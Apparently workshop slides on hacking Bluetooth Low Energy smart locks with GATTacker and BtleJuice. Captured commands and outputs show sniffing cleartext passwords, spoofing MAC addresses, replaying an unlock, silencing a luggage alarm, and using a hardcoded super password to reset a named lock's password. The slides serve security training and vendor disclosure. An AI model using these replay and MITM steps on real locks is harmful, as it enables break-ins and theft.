[UUID: Unknown (0xfffd6)]
Value: 00123456780908070605040302010000000000

[Response in Frame: 1056]
Filter by handle:

<table>
<thead>
<tr>
<th>No.</th>
<th>Time</th>
<th>Source</th>
<th>Destination</th>
<th>Protocol</th>
<th>Length</th>
<th>Info</th>
</tr>
</thead>
<tbody>
<tr>
<td>919</td>
<td>103.165</td>
<td>Slave_0x548744e9</td>
<td>Master_0x548744e9</td>
<td>ATT</td>
<td>53</td>
<td>Rcvd Read By Type Response, Attribute List Length: 3, Unknown</td>
</tr>
<tr>
<td>1051</td>
<td>106.299</td>
<td>Master_0x548744e9</td>
<td>Slave_0x548744e9</td>
<td>ATT</td>
<td>125</td>
<td>Write Request, Handle: 0x002d (Unknown: Unknown)</td>
</tr>
<tr>
<td>1056</td>
<td>106.482</td>
<td>Slave_0x548744e9</td>
<td>Master_0x548744e9</td>
<td>ATT</td>
<td>31</td>
<td>Rcvd Write Response, Handle: 0x002d (Unknown: Unknown)</td>
</tr>
</tbody>
</table>

- Frame 1051: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
  - DLT: 157, Payload: nordic_ble (Nordic BLE Sniffer)
- Nordic BLE Sniffer
- Bluetooth Low Energy Link Layer
- Bluetooth L2CAP Protocol
- Bluetooth Attribute Protocol
  - Opcode: Write Request (0x12)
  - Handle: 0x002d: Unknown
    - [UUID: Unknown (0x0ff6)]
    - Value: 001234567890000000
    - [Response in Frame: 1056]

0000: 76 06 23 01 3c 00 06 6a 03 04 3b 02 00 37 bd 00
0010: 80 e9 44 87 54 0e 10 6c 00 04 00 12 20 00 00 12
0020: 34 56 78 00 00 00 00 85 d9 db

v.:.<...:...:7...
..D.T...:...:...:4Vx...
Other useful tip: apply as column

Right-click on interesting field
Other useful tip: apply as column

New useful columns
Sorting by the new columns
How do we hack BLE?

### Passive sniffing

- Using simple hw is unreliable, easy to loose packets.
- Difficult to understand transmission in Wireshark.
- Limited scripting – decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)
- Does not require access to device nor smartphone
- Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).
ANDROID HCIDUMP „WHITEBOX“ APPROACH
How do we hack BLE?

central

HCI dump

BLE

Passive sniffing?

peripheral
Android HCI dump – white box approach

1. Enable Developer options in Android
   About phone->Build number-> tap until „You are now a developer!”

2. Settings->Developer options->Enable Bluetooth HCI log
   The file is saved in /sdcard/btsnoop_hci.log
   Readable in Wireshark
   Example file: devices/quicklock/android_hcidump/
Host Controller Interface

- **BLUETOOTH HOST**
  - Other High Layer Driver
  - HCI Driver
  - Physical Bus (USB, PC Card, Other) Driver

- **PHYSICAL BUS**
  - Physical Bus (USB, PC Card, Other) Firmware

- **HARDWARE**
  - HCI Firmware
  - Link Manager Firmware

- **B L E T H O O T C O N T R O L L E R**
  - Software
  - Hardware

Linux (BlueZ), Android...

```
# hcidump
```
Hcidump (again)

Dumps commands and data exchanged between host OS and adapter firmware.

You will see only public advertisements and data exchanged with your host.

In case of link-layer encryption, hcidump shows unencrypted data.

Does not dump raw RF packets.
BLE-Replay by NCC

https://github.com/nccgroup/ BLE-Replay

Parses hcidump to json, wraps into python BLE client for replay/fuzzing
quicklock/android_hcidump/btsnoop_hci.log
# How do we hack BLE?

## Passive sniffing
- Using simple hw is unreliable, easy to loose packets.
- Difficult to understand transmission in Wireshark.
- Limited scripting – decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)
- Does not require access to device nor smartphone
- Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).

## Android HCI dump
- Catches all the packets (of our transmission)
- Difficult to understand transmission in Wireshark
- Limited scripting – decode pcap, replay packets.
- Does not cover link-layer. Only data exchanged between Android and BT adapter
- Requires access to smartphone
- Even if the connection is encrypted, we have the packets in cleartext (de-/encrypted by adapter)
THE CAR HACKING AGAIN
Sometimes...

We can sniff the link communication, but it is encrypted on GATT layer.

(we see only encrypted hex stream)
Maybe jamming?

"It's like they designed the protocol itself to stop us from doing this exact thing"
Richo Healey, Mike Ryan – Hacking Electric Skateboard, Defcon 23
Jamming

- Jam just the selected advertising channels
- May be useful for an attacker to break ongoing connection – to perform other attacks (e.g. MITM).
- But: most devices do not keep constant connections anyway (battery saving).
How about active interception?

Man in the Middle:

We will force the mobile app to connect to us, and forward the requests to the car and back!
How do we hack BLE?

- Passive sniffing?
- Active MITM

- central
- peripheral

- HCI dump

SMARTLOCKPICKING.COM
How do we MITM RF?
Isolate the signal?
Physics...

Bending of a wave around the edges of an opening or an obstacle


https://en.wikipedia.org/wiki/Huygens%E2%80%93Fresnel_principle
Stronger signal?  More signals?

Class 1 adapter? +8dBm, 100m range

"little difference in range whether the other end of the link is a Class 1 or Class 2 device as the lower powered device tends to set the range limit"

https://en.wikipedia.org/wiki/Bluetooth

And how to handle them in a single system?
Typical connection flow

1. Start scanning for advertisements
2. Advertise
3. Specific advertisement received, stop scanning
4. Connect the advertising device (MAC)
5. Further communication
Attack?

Start scanning for advertisements

Specific advertisement received, stop scanning

Advertise more frequently

MITM?

Keep connection to original device. It does not advertise while connected ;)

Connect the advertising device (MAC)

Further communication
MITM – what actually works

Advertise more frequently
- The victim's mobile will interpret the first advertisement it receives
- Devices usually optimized for longer battery life, advertise less frequently

Clone MAC address of targeted device
- Not always necessary, but mostly helpful

Keep connected to target device
- Devices do not advertise while connected
- Only one connection at a time accepted
- Usually easy, most connections are short-term
- For constantly-connected: targeted jamming/social engineering/patience...
GATTacker – MITM

Open source
Node.js
Websockets
Modular design
Json
.io website

And a cool logo!
GATTacker - architecture

- Advertising „cloned” device
- "PROXY" – interception, tampering
- Device cloning

Arrows indicate flow:
- Get serv
- services
- Advertise
- Get serv
- services
We will use 2 separate boxes

Advertising „cloned” device

„PROXY” – interception, tampering

Advertise
Get serv
Device cloning

Advertising
Separate boxes

It is possible to run both components on one box (configure BLENO/NOBLE_HCI_DEVICE_ID in config.env).

But it is not very reliable at this moment (kernel-level device mismatches).

Much more stable results on a separate ones.
On the Kali – edit config to your Raspberry IP

```bash
root@kali:~# cd node_modules/gattacker/
root@kali:~/node_modules/gattacker# gedit config.env
```

Edit `BLENO_HCI_DEVICE_ID` to your HCI, `WS_SLAVE` address to match your Raspberry

```
# "peripheral" device emulator
BLENO_HCI_DEVICE_ID=0

# ws-slave websocket address
WS_SLAVE=127.0.0.1 -> YOUR_IP
```
Running the ws-slave (client). Pass: raspberry

SSH to your Raspberry (pi@10.5.5.YOUR_IP)

$ cd node_modules/gattacker

~/node_modules/gattacker $ sudo node ws-slave.js

GATTacker ws-slave
1. Scan device to JSON

- Advertisement + services JSON
- scan.js
- WIFI
- ws-slave.js
- advertisement

SMA R T L O C K P I C K I N G . C O M

slawekja
Scan for advertisements (Kali)

root@kali:~/node_modules/gattacker# node scan.js

Ws-slave address: <your_slave_ip>

on open

poweredOn

Start scanning.
Look for „Padlock!” device

peripheral discovered (f4b85ec06ea5 with address
<f4:b8:5e:c0:6e:a5, public>, connectable true, RSSI -72:

    Name: Padlock!
    EIR: 0201050302d6ff09095061646c6f636b21 (Padlock!)
    Scan response: 13ff000000000000000000000000000000000000000000031 (,1)

advertisement saved: devices/f4b85ec06ea5_Padlock-.adv.json
Scan device characteristics

```
root@kali:~/node_modules/gattacker# node scan f4b85ec06ea5
Ws-slave address: <your_slave_ip>
  on open
  poweredOn
  Start exploring f4b85ec06ea5
  Start to explore f4b85ec06ea5
  explore state: f4b85ec06ea5 : start
  explore state: f4b85ec06ea5 : finished
  Services file devices/f4b85ec06ea5.srv.json saved!
```
Json services file (devices/<MAC....>):

```json
{
    "uuid": "1800",
    "name": "Generic Access",
    "type": "org.bluetooth.service.generic_access",
    "startHandle": 1,
    "endHandle": 11,
    "characteristics": [
        {
            "uuid": "2a00",
            "name": "Device Name",
            "properties": [
                "read"
            ],
            "value": "5061646c6f636b21",
            "descriptors": [],
            "startHandle": 2,
            "valueHandle": 3,
            "asciiValue": "Padlock!"
        }
    ]
}
```
2. Advertise

advertisement

Advertisement + services JSON

advertise.js
advertise

root@kali:~/node_modules/gattacker# node advertise.js -h

Usage: node advertise -a <FILE> [ -s <FILE> ] [-S]

-a, --advertisement=FILE  advertisement json file
-s, --services=FILE       services json file
-S, --static              static - do not connect to ws-slave/target device
-f, --funmode             have fun!
--jk                      see http://xkcd.com/1692
-h, --help                display this help
MAC SPOOFING
Bluetooth MAC address spoofing

Some mobile applications rely only on advertisement packets, and don’t care for MAC address.

But most of them (including this one) do.

It is easy to change Bluetooth adapter MAC using bdaddr tool (part of Bluez)

For some chipsets it may be troublesome.
MAC spoofing – GATT cache

To optimize connections, mobile OS caches information on characteristics attached to specific handle numbers of a given device (MAC).

Android: /data/misc/bluedroid (need root)

If you spoof MAC with different characteristics <-> handles, the mobile will try to talk to other handle numbers, and will most likely „hang” and disconnect.

GATTacker uses modified version on bleno to clone characteristics 1:1.
Bdaddr (already in your VM/Raspberry)

```bash
root@kali:~/node_modules/gattacker/helpers/bdaddr# make

gcc -c bdaddr.c

gcc -c oui.c

gcc -o bdaddr bdaddr.o oui.o -lbluetooth

# cp bdaddr /usr/local/sbin
```
For the helper script (changing MAC automatically)

Uncomment in config.env

# "peripheral" device emulator

BLENO_HCI_DEVICE_ID=0

ID of your advertising adapter
Free the BT interface

In case you have running ws-slave on the same machine, stop it (we will need the BT interface):

(...)

ws -> close

^C

Also stop bluetooth:

root@kali:~/node_modules/gattacker# systemctl stop bluetooth
Start device – mac_adv (wrapper to advertise.js)

root@kali:~node_modules/gattacker# ./mac_adv -a devices/f4b85ec06ea5_Padlock-.adv.json -s devices/f4b85ec06ea5.srv.json

Advertise with cloned MAC address
Manufacturer: Cambridge Silicon Radio (10)
Device address: B0:EC:8F:00:91:0D
New BD address: F4:B8:5E:C0:6E:A5

Address changed - Reset device now
Re-plug the interface and hit enter

Helper bash script to change MAC addr
Re-plug USB adapter
Cleartext password: 12345678
Data dump saved in dump/ subfolder

<table>
<thead>
<tr>
<th>Date</th>
<th>Time</th>
<th>Type</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>2017.03.24</td>
<td>17:55:10</td>
<td>C</td>
<td>fff0 fff3</td>
<td>0173600000000000000000000000000000 ( s )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:10</td>
<td>R</td>
<td>180f (Battery Service)</td>
<td>2a19 (Battery Level) 50 (P)</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11</td>
<td>C</td>
<td>1905 (Current Time Service)</td>
<td>2a2b (Current Time)</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11</td>
<td>R</td>
<td>fff0 fff3</td>
<td>0173600000000000000000000000000000 ( s )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11</td>
<td>C</td>
<td>ffd0 ffd5</td>
<td>0012345678 ( 4Vx )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:11</td>
<td>N</td>
<td>ffd0 ffd7</td>
<td>01 ( )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:12</td>
<td>R</td>
<td>180a (Device Information)</td>
<td>2a26 (Firmware Revision String)</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:12</td>
<td>R</td>
<td>ffd0 ffd3</td>
<td>03 ( )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:12</td>
<td>R</td>
<td>ffd0 ffd7</td>
<td>01 ( )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:14</td>
<td>C</td>
<td>ffd9 ffd9</td>
<td>01 ( )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:14</td>
<td>N</td>
<td>ffd9 ffd9</td>
<td>01 ( )</td>
</tr>
<tr>
<td>2017.03.24</td>
<td>17:55:17</td>
<td>N</td>
<td>ffd9 ffd9</td>
<td>00 ( )</td>
</tr>
</tbody>
</table>

Example file: quicklock/gattacker/dump

Cleartext password
Replay – and the lock opens

$ sudo node replay.js -i dump/f4b85ec06ea5.log -s devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5

root@v4 # node replay.js -i dump/f4b85ec06ea5.log -s devices/f4b85ec06ea5.srv.json -p f4b85ec06ea5
Ws-slave address: 127.0.0.1
on open
poweroffOn
Noble MAC address : dc:53:60:d7:43:43
initialized !
WRITE CMD: 01730000000000000000000000000000
READ: 50  ---  skip
WRITE CMD: fe196820
READ: 01730000000000000000000000000000  ---  skip
WRITE CMD: 0012345678
NOTIFICATION: 81  ---  skip
READ: 05290101201504282334  ---  skip
READ: 03  ---  skip
READ: 00  ---  skip
WRITE CMD: 01
NOTIFICATION: 81  ---  skip
NOTIFICATION: 80  ---  skip
Replay using nRF Connect mobile app

https://github.com/securing/gattacker/wiki/Dump-and-replay

nRF Connect:

Macros functionality

nRF Connect: macros documentation:

https://github.com/NordicSemiconductor/Android-nRF-Connect/tree/master/documentation/Macros

GATTacker howto export:

https://github.com/securing/gattacker/wiki/Dump-and-replay
Convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f4b85ec06ea5.log > quicklock_replay.xml

Already converted file:

quicklock/nrf_connect_macro/quicklock.xml
BTLEJUICE
Introducing BtleJuice by Damien Cauquil

https://speakerdeck.com/virtualabs/btlejuice-the-bluetooth-smart-mitm-framework

https://en.wikipedia.org/wiki/Multiple_discovery

The concept of multiple discovery (also known as simultaneous invention) is the hypothesis that most scientific discoveries and inventions are made independently and more or less simultaneously by multiple scientists and inventors.
BtleJuice – run “proxy”

Install (already in your Kali/Raspberry)

```
root@kali:~# npm install -g btlejuice
```

Run „proxy” module:

```
root@kali:~# hciconfig hci0 up
```

```
root@kali:~# btlejuice-proxy
```

[i] Using interface hci0

[iinfo] Server listening on port 8000
BtleJuice interface

root@kali:~/# btlejuice -u <YOUR_PROXY_IP> –w

E.g.

root@kali:~/# btlejuice -u 127.0.0.1 –w

Open http://localhost:8080 in browser
Select target device

Choose „Padlock!”

<table>
<thead>
<tr>
<th>Device</th>
<th>UUID</th>
<th>RSSI</th>
</tr>
</thead>
<tbody>
<tr>
<td>GATTack.io</td>
<td>6c:ac:07:5c:56:66</td>
<td>-71dBm</td>
</tr>
<tr>
<td>energy-35611D</td>
<td>00:12:3f:35:61:1d</td>
<td>-90dBm</td>
</tr>
<tr>
<td>LockECFE7E139F95</td>
<td>ec:fa:7e:13:91:95</td>
<td>-60dBm</td>
</tr>
<tr>
<td>EST</td>
<td>d0:2f:39:2c:3e:17</td>
<td>-90dBm</td>
</tr>
<tr>
<td>D03972C3A81E1</td>
<td>d0:39:72:c3:81:1e</td>
<td>-60dBm</td>
</tr>
<tr>
<td>Padlock!</td>
<td>fa:b8:5e:c0:b6:a5</td>
<td>-59dBm</td>
</tr>
</tbody>
</table>
### BtleJuice - Bluetooth Low Energy MitM - Mozilla Firefox

#### Table: BtleJuice

<table>
<thead>
<tr>
<th>Action</th>
<th>Service</th>
<th>Characteristic</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>write</td>
<td>fff0</td>
<td>fff3</td>
<td>62 68 61 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 37 38 37 aa 1f</td>
</tr>
<tr>
<td>read</td>
<td>180f</td>
<td>2a19</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>write</td>
<td>1805</td>
<td>2a2b</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>fff0</td>
<td>fff3</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffd6</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>180a</td>
<td>2a26</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>ffd0</td>
<td>ffd7</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffd8</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>ffd0</td>
<td>ffd9</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>read</td>
<td>ffd0</td>
<td>ffda</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>write</td>
<td>ffd0</td>
<td>ffda</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffda</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
<tr>
<td>notification</td>
<td>ffd0</td>
<td>ffda</td>
<td>60 12 34 56 78 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00</td>
</tr>
</tbody>
</table>

- **The cleartext password**: The data for the service `180f` and characteristic `2a19` is highlighted.
BtleJuice vs GATTacker

- Depends on stock noble/bleno – several pros vs cons
- Automatic MAC address spoofing currently unstable
- Has much better UI (web vs console), simple replay/tamper
- Just try the other tool if something does not work for you
How do we hack BLE?

### Passive sniffing
- Using simple hw is unreliable, easy to lose packets.
- Difficult to understand transmission in Wireshark.
- Limited scripting – decode pcap, replay packets.
- Can be helpful to diagnose what is happening on link-layer (e.g. Bluetooth encryption)
- Does not require access to device nor smartphone
- Limited possibilities to decode encrypted connections (intercept pairing + CrackLE).

### Android HCI dump
- Catches all the packets (of our transmission)
- Difficult to understand transmission in Wireshark
- Limited scripting – decode pcap, replay packets.
- Does not cover link-layer. Only data exchanged between Android and BT adapter
- Requires access to smartphone
- Even if the connection is encrypted, we have the packets in cleartext (de-/encrypted by adapter)

### Active MITM
- Catches all the packets (+ allows for active modification)
- Easy to understand transmission (GATTacker console, BtleJuice web)
- Hooks, possible to proxy, API for live packets tampering...
- Does not cover link-layer. Not that we actually need it ;)
- Does not require access to device nor smartphone
- Will not work (out of box) against link-layer Bluetooth encryption
Quicklock hack is brought to you by Antony Rose

>>> Vulnerable Devices

* Plain Text Password
  - Quicklock Doorlock & Padlock v1.5
  - iBluLock Padlock v1.9
  - Plantraco Phantomlock v1.6

* Replay Attack
  - Ceomate Bluetooth Smart Doorlock v2.0.1
  - Elecycle EL797 & EL797G Smart Padlock v1.8
  - Vians Bluetooth Smart Doorlock v1.1.1
  - Lagute Sciener Smart Doorlock v3.3.0

The electronic codes necessary to open are passed wirelessly and are unencrypted (by design) to allow vendors flexibility when integrating the Bluetooth device into existing platforms. Because keys are passed wirelessly, they are open to Bluetooth hacking only for a few seconds, when a hacker is within range of the device. However, this level of security is similar to a standard lock and key scenario! Standard mechanical devices offer far fewer benefits than Bluetooth connected locks!

https://www.thequicklock.com/security-notice.php
Lock #2
Anti-theft protection

Mobile application „pairs” with device, and listens to its advertisements.

In case the luggage is stolen (no signal from device), mobile app raises alarm.

Mobile app: „witbelt”
ws-slave, scan
Scan for advertisements

root@kali:~# cd node_modules/gattacker
root@kali:~/node_modules/gattacker# node ws-slave.js
GATTacker ws-slave

root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 127.0.0.1
on open
poweredOn
Start scanning.
Scan results

peripheral discovered (d03972b7ad8f with address <d0:39:72:b7:ad:8f, public>, connectable true, RSSI -69:

Name: WiT Belt

EIR: 020106070203180218041809ff8fadb77239d01000 ( r9 )

Scan response: 09095769542042656c74 ( WiT Belt)

advertisement saved: devices/d03972b7ad8f_WiT-Belt.adv.json
root@kali:~/node_modules/gattacker# node scan.js d03972b7ad8f
Ws-slave address: 127.0.0.1
on open
poweredOn
Start exploring d03972b7ad8f
Start to explore d03972b7ad8f
explore state: d03972b7ad8f : start
explore state: d03972b7ad8f : finished
Services file devices/d03972b7ad8f.srv.json saved!
"characteristics": [ 
{
  "uuid": "2a19",
  "name": "Battery Level",
  "properties": [ 
    "read",
    "notify"
  ],
  "value": "54",
  "hooks":{
    "staticValue": "54"
  }
}
Change interface MAC address (by hand, script wrapper does not handle yet static parameters)

```bash
# bdaddr -i hci0 d0:39:72:b7:ad:8f
Manufacturer: Cambridge Silicon Radio (10)
Device address: F1:A3:12:0D:25:FD
New BD address: D0:39:72:B7:AD:8F (Texas Instruments)

Address changed - Reset device now
# hciconfig hci0 up
```
Start advertising (static run)

```
# node advertise -S -a devices/d03972b7ad8f_WiTBelt.adv.json -s devices/d03972b7ad8f.srv.json
```
App connects to emulated device, alarm disables!

root@v4 # node advertise -S -a devices/d03972b7ad8f_WiT-Belt.adv.json
static run write not defined in hooks undefined -> undefined
peripheralid: d03972b7ad8f
advertisement file: devices/d03972b7ad8f_WiT-Belt.adv.json
EIR: 020106070203180218041809ff8fadb77239d01000
scanResponse: 09095769542042656c74
waiting for interface to initialize...
BLENO - on -> stateChange: poweredOn
on -> advertisingStart: success
setServices: success

INITIALIZED


>> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 00 ( )
static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level )
<< Read static val 180f (Battery Service) -> 2a19 (Battery Level ) : 54 (T)
>> Subscribe: 180f (Battery Service) -> 2a19 (Battery Level )
static run subscribe 180f (Battery Service) -> 2a19 (Battery Level )
>> Write: 1802 (Immediate Alert) -> 2a06 (Alert Level ) : 00 ( )
static run write not defined in hooks 1802 (Immediate Alert) -> 2a06 (Alert Level )
root@kali:~/node_modules/gattacker# node scan.js
Ws-slave address: 10.5.5.129
on open
poweredOn
Start scanning.
peripheral discovered (f0c77f162e8b with address <f0:c7:7f:16:2e:8b, public>, connectable true,
RSSI -63:

   Name: Smartlock
   EIR: 0201060302e0ff (       )
   Scan response: 0e09536d6172746c6f636b202020051228003c00020a00 ( Smartlock     ( <  )

advertisement saved: devices/f0c77f162e8b_Smartlock-.adv.json
Save its services for cloning

root@kali:~/node_modules/gattacker# node scan.js f0c77f162e8b
Ws-slave address: 10.5.5.129
  on open
  poweredOn
Start exploring f0c77f162e8b
Start to explore f0c77f162e8b
explore state: f0c77f162e8b : start
explore state: f0c77f162e8b : finished
Services file devices/f0c77f162e8b.srv.json saved!
Run MITM attack

root@kali:~/node_modules/gattacker# ./mac_adv -a devices/f0c77f162e8b_Smartlock-.adv.json
Advertise with cloned MAC address
Ws-slave address: 10.5.5.129
peripheralid: f0c77f162e8b
advertisement file: devices/f0c77f162e8b_Smartlock-.adv.json
EIR: 0201060302e0ff
scanResponse: 0e09536d6172746c6f636b202020051228003c00020a00
on open
poweredOn
BLENO - on -> stateChange: poweredOn
Noble MAC address : b8:27:eb:4c:88:3d
initialized !
Static - start advertising
on -> advertisingStart: success
setServices: success
<<<<<<<<<<<<<<<<< INITIALIZED >>>>>>>>>>>>>>>>>>>>>>>
Cleartext pass!
setServices: success

Client connected: 41:e4:5f:6d:ce:15

>> Subscribe: 1801 (Generic Attribute) -> 2a05 (Service Changed)
>> Write: ffe0 -> fff1: a137343136383905789a247b1a2f994f215f21
f0c77f1e20b:1801 confirmed subscription state: 2a05

>> Read: ffe0 -> fff1: a20500f0c77f1e2b31cf3c5bf4e6f06a3763
>> Write: ffe0 -> fff1: a137343136383909badcfdd885c3bcca04cef1d6

„Authentication”

„Open lock” command
Authentication?

Next time – something different
Authentication

Initial (random?) value

Response, based on init

Auth (based on response)?
Replay!

Initial (random?) value

Response, based on init

Auth (based on response)?
Replay by Anthony Rose

>>> Replay Attacks

* Claim "encryption" is being used
* Who cares what they are sending as long as it opens!
* Vulnerable Devices
  - Ceomate Bluetooth Smartlock
  - Elecycle Smart Padlock
  - Vians Bluetooth Smart Doorlock
  - Lagute Sciener Smart Doorlock
So...

Let’s continue where he stopped!
MOBILE APP ANALYSIS
Android mobile application reversing quick recap

XML → Java → DEX → APK → DVM / ART

Compile → ZIP

Dex2jar, Decompile → UNZIP

Baksmali → SMALI
How to get apk file

- Multiple online services (check the signature, as they may add something ;)
- From your phone (developer options, adb pull...
Convert APK (devices/smartlock/apk/) to JAR

root@kali:~ # d2j-dex2jar <file>.apk

As a result we get:

<file>-dex2jar.jar
Open jar file in jd-gui

```java
public class SmartLock {

    public static final int CONNECTED = 0;
    public static final int DISCONNECTED = 1;
    public static final String SUPER_PASSWORD = "741689";
    private boolean autoLock = false;
    private boolean backnotify = false;
    private boolean connection = false;
    private String connecttime = null;

```
Let’s try to use it as password!

Nope, does not work...
Packets - RequestLockInfo

`Write: ffe0 -> fff1 : a131323334353606 (123456)`

`Read: ffe0 -> fff1 : a2060064010000 (d)`

```java
public class MsgRequestLockInfo extends CommMessage {

    public static final int MSG_CMD = 6;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestLockInfo() {
        this.mStreamId = 161;
        this.mCmdId = 6;
    }

    public void receiverData(byte[] paramArrayOfByte) {
    }
}
```
Command packet structure

Hex-encoded pass (123456)

MSG_STX = 161;

MSG_CMD = 6;
Open lock

>> Write: ffe0 -> fff1 : a131323334353601 ( 123456 )
<< Read: ffe0 -> fff1 : a20100 ( )

```java
public class MsgRequestOpenLock
    extends CommMessage {

    public static final int MSG_CMD = 1;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestOpenLock()
    {
        this.mStreamId = 161;
        this_mCmmId = 1;
    }

    public void receiveData(byte[] paramArrayOfByte) {}
```
Other commands – ResetPassword?

```java
import org.zff.ble.communication.message.CommMessage;

public class MsgRequestResetPassword
    extends CommMessage {

    public static final int MSG_CMD = 8;
    public static final int MSG_LENGTH = 8;
    public static final int MSG_STX = 161;

    public MsgRequestResetPassword() {
        this.mStreamId = 161;
        this.mCmdId = 8;
    }

    public void receiverData(byte[] paramArrayOfByte) {} 

    public void sendData(byte[] paramArrayOfByte) {} 
```
Reset pass packet

a137343136383908

SuperPassword (741689)

command
Reset password – edit dump file

Already edited files:

ble/smartlock/gattacker/dump/
Replay the reset pass

root@kali # node replay.js -i dump/f0c77f162e8b_resetpass.log -p f0c77f162e8b -s devices/f0c77f162e8b.srv.json
Ws-slave address: <your_raspberry_ip>
on open
poweredOn
Noble MAC address : b8:27:eb:f2:c1:05
initialized !
WRITE CMD: a137343136383905789a230b157b365652761f
READ: a20500f0c77f162e8b3612307232dafb33f51f --- skip
WRITE CMD: a137343136383908
READ: a20900 --- skip
WRITE CMD: a137343136383908
^C
User gets CANCER!
Replay: convert GATTacker log to nRF XML macro

# node gattacker2nrf -i dump/f0c77f162e8b_resetpass.log > resetpass.xml

Already converted file:

smartlock/nrf_connect_macro/f0c77f162e8b_resetpass_nrf.xml
Hello, I have identified several security vulnerabilities in your smart lock and accompanying mobile application.

1. It is possible to reset password to default without knowing current the password. I would classify it as critical bug, as it allows to open the lock by an intruder which just comes close to the lock, without any interaction with the victim user.
Response...

Nice day and thank you so much for your email.

We had update our APP and patched some bugs.

Sure will keep improving our product.

Thanks again for your help.
Hi again,

The current (updated in November 2016) app is vulnerable - it is possible to open the lock without knowing the password.

You need to change the Bluetooth protocol, it is a major patch, and requires also firmware upgrade of the devices, not just the mobile application.
Thank you so much for your suggestions.

Yes, we are working on the devices and software. In the near future, both of the hardware and software will be updated.
... and the Google Play app developer contact ;)

Response after almost 3 months (original transcription):

„sorry, It is not bought from our company. so we can not help you. thanks”
Maybe we should help the users?

From: Amazon Answers <answers@amazon.com>
Subject: Slawomir: Can you answer this question about...?
To: Slawomir Jasek

As someone who owns [REDACTED], can you help this fellow customer?

CMR asked

"Where can I find instructions to reset the password?"

Respond to question
I don't know
See responses from others | Send feedback on this feature
Lock #4
MasterLock

Proximity - open automatically

The mobile application service in background automatically opens the lock.

It is possible to „proxy” the proximity.
Remote relay

Figure 3. The relay with antennas, cables and an (optional) amplifier.

Relay Attacks on Passive Keyless Entry and Start Systems in Modern Cars
Keyless car entry

ADAC proved over 100 models vulnerable (2017.03)

Scan for the device

root@kali:~/node_modules/gattacker# node scan

peripheral discovered (544a165d6f41 with address <54:4a:16:5d:6f:41, public>, connectable true, RSSI -80:

Name: Master Lock

EIR: 0201051107fb6db3e637446f84e4115b5d0100e094 ( m 7Do [] )

Scan response: 0c094d6173746572204c6f636b11ff4b019b8f0000b0e23d240000c12e2556 ( Master Lock K

advertisement saved: devices/544a165d6f41_Master-Lock.adv.json
Actively intercept

# ./mac_adv -a devices/544a165d6f41_Master-Lock.adv.json
Now try remotely

The „victim” phone is away of lock’s Bluetooth range

Put Raspberry close to the lock.

Go with Kali (connected via wifi to Raspberry) close to the „victim”.
More secure – "locker" mode
Security vs usability

- Automatic open
- Geolocalization
- Swipe/touch to unlock
- Special „locked” mode
Other ideas to prevent attack?

Detect latency – similar to EMV?

Once connected, BT communication is quite quick.
AND NOW FOR SOMETHING COMPLETELY DIFFERENT
Strong magnet trick!

motor
Source:

Ray & co.

https://streaming.media.ccc.de/33c3/relive/8019
Lock #5
Danalock

Challenge-response, session key

Commands encrypted by session key

Challenge looks random

